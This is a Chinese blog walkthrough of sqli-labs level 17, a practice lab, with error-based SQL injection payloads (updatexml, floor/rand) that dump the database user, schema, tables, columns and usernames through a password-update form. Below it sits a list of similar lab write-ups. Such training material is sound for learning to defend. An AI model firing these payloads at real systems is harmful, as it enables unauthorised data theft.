sqli-labs 第十七关

2024-05-13 22:12
文章标签 labs 第十七 sqli

本文主要是介绍sqli-labs 第十七关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

找注入点:

源码分析:

测试:

奇怪现象:

        (1):当我们输入的密码为字符进行注入时。

        (2):当我们输入的密码为整数时。

产生原因:

解决方法:

开始注入:

            注入用户名:

           注入数据库名:

            注入表名:

             注入列名:

               注入具体值:


找注入点:

       

        经过我们的测试,当在密码出输入一个单引号时就会出现报错,对此注入点可能就在该位置。

       

源码分析:

       可以发现,这里使用update语句来修改用户的密码,并且对我们输入的用户名进行了过滤但并没有对密码进行过滤。并且允许sql语句报错,由此我们可以使用报错注入。

       

        

测试:

        在上面已经确认使用报错注入来完成,我们先测试看看能不能注入出数据。

奇怪现象:

        接下来我们一步一步注入。

        (1):当我们输入的密码为字符进行注入时。

        一:注入用户名

                admin' and updatexml(1,concat(0x7e,(user(),0x7e),1)#

        二:注入数据库名

                admin' and updatexml(1,concat(0x7e,(database()),0x7e),1) #

        三:注入表名

                admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

               这里,我们发现我们输入这句sql报了上面这个错误,但是我们的sql注入语句并没有写错。这就是我们的奇怪现象之一。

        (2):当我们输入的密码为整数时。

                我们接着上面测试注入表名。

                2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from                 information_schema.tables where table_schema='security'),0x7e),1)#

        这里我们发现当我们的密码为整数时就可以注入出数据。这就是第二个奇怪现象。

产生原因:

        经过我在各种论坛上去查找,终于找到了原因。

        (1):在Update语句中从左到右执行,当前面输入的密码为字符时并且到and时语法就会出现错误。之所以前面的用户名和数据库名会被爆出来,是因为user()和database()是mysql内置的函数,优先级较高,优先执行,所以会被爆出来。如下:

 admin' and updatexml(1,concat(0x7e,(user(),0x7e),1)#
admin' and updatexml(1,concat(0x7e,(database()),0x7e),1) #

        (2)当前面的输入的密码 为整数时,之所以可以被执行,是因为当我们输入的为整数时相当与给后面的语句加上了一个括号,并且有限执行括号中的内容。所以能够爆出数据。

2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

解决方法:

        我们可以使用在前面输入的密码为整数的方式进行注入。也可以使用floor报错函数进行注入。

开始注入:

        我们使用前面密码为整数的方式来进行注入。

            注入用户名:

           2' and updatexml(1,concat(0x7e,(user()),0x7e),1)#

           注入数据库名:

                2' and updatexml(1,concat(0x7e,(database()),0x7e),1)#

            注入表名:

2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#      

                       

             注入列名:

2' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)# 

        

               注入具体值:

23' and(select 1 from (select count(*),concat(substring((select group_concat(username) from users),1,32),floor(rand(0)*2))x from information_schema.tables group by x)a)#

    

到此我们实验就完美注入了。

小插曲:

大家可以看到在最后注入具体值的时候我们使用的是floor进行注入,是因为当我们使用updatexml进行注入时会爆下面的问题: 等我查阅资料后回来改正。

2' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#

总结:这里推荐大家使用floor进行报错注入,使用floor报错注入就不会出现任何问题。

这篇关于sqli-labs 第十七关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/986965

相关文章

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的H

第十七题:电话号码的字母组合

题目描述 给定一个仅包含数字 2-9 的字符串,返回所有可能的由它组成的字母组合。你可以假设输入字符串至少包含一个数字,并且不超过3位数字。 实现思路 使用哈希表或数组存储每个数字对应的字符,然后通过递归或迭代的方式生成所有可能的组合。如果字符串长度为n,则可以看作是n层循环,每层循环可以选择对应数字的所有字符之一。 算法实现 C语言实现 #include <stdio.h>#inc

Django 第十七课 -- 视图 - FBV 与 CBV

目录 一. 前言 二. FBV 三. CBV 一. 前言 FBV(function base views) 基于函数的视图,就是在视图里使用函数处理请求。 CBV(class base views) 基于类的视图,就是在视图里使用类处理请求。 二. FBV 基于函数的视图其实我们前面章节一直在使用,就是使用了函数来处理用户的请求,查看以下实例: 路由配置: urlpat

安装 SideFX Labs

介绍 SideFX Labs 是一个完全免费开源的工具集。GIT地址:github.com/sideeffects/SideFXLabs 它是一个针对150多种工具的测试场,由于这些工具是在常规的 Houdini 开发周期之外开发的,因此可以更方便地进行测试和反馈。 其中的工具总结了常见的工作流程,并与常用软件建立了紧密的集成。目的是帮助用户更快地启动和执行“数字化内容创建”中常见的各种任

【靶场】upload-labs-master(前11关)

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】upload-labs-master(前11关) 第一关 Pass-01第二关 Pass-02第三关 Pass-03第四关 Pass-04第五关 Pass-05第六关 Pass-06第七关 Pass-07第八关 Pass-08第九关 Pass-09第十关 Pass-10第

sqli-lab靶场学习(一)——Less1

前言 最近一段时间想切入安全领域,因为本身有做数据库运维工作,就打算从sql注入方向切入。而sql注入除了学习日常书本上的概念外,需要有个实践的环境,刚好看到sqli-lab这个靶场,就打算先用这个来学习。 安装部署 网上很多关于安装部署的教程,很简单。本人是下载PHPStudy进行部署的。由于sqli-lab是用php5版本,现在很多一体化环境(我用wamp)的php都是7版本。我试过

sqli-labs靶场通关攻略(61-65)

Less-61 步骤一:查看数据库 ?id=1')) and updatexml(1,concat(1,(select database())),1)--+ 步骤二:查看表名 ?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where ta

SQLi-LABS靶场56-60通过攻略

第56关(单引号括号闭合) 查数据库 ?id=-1') union select 1,database(),3 --+ 查表 ?id=-1') union select 1,(select table_name from information_schema.tables where table_schema=database()),3 --+ 查字段 ?id=-1') uni

sqli-labs靶场通关攻略 56-60

主页有sqli-labs靶场通关攻略 1-55 第五六关 less-56 步骤一:闭合方式:?id=1')-- + 步骤二:查询数据库 ?id=-1') union select 1,2,database() --+ 步骤三:联合查询 查出网站的数据库表名 ?id=-1') union select 1,2,group_concat(table_name) from inf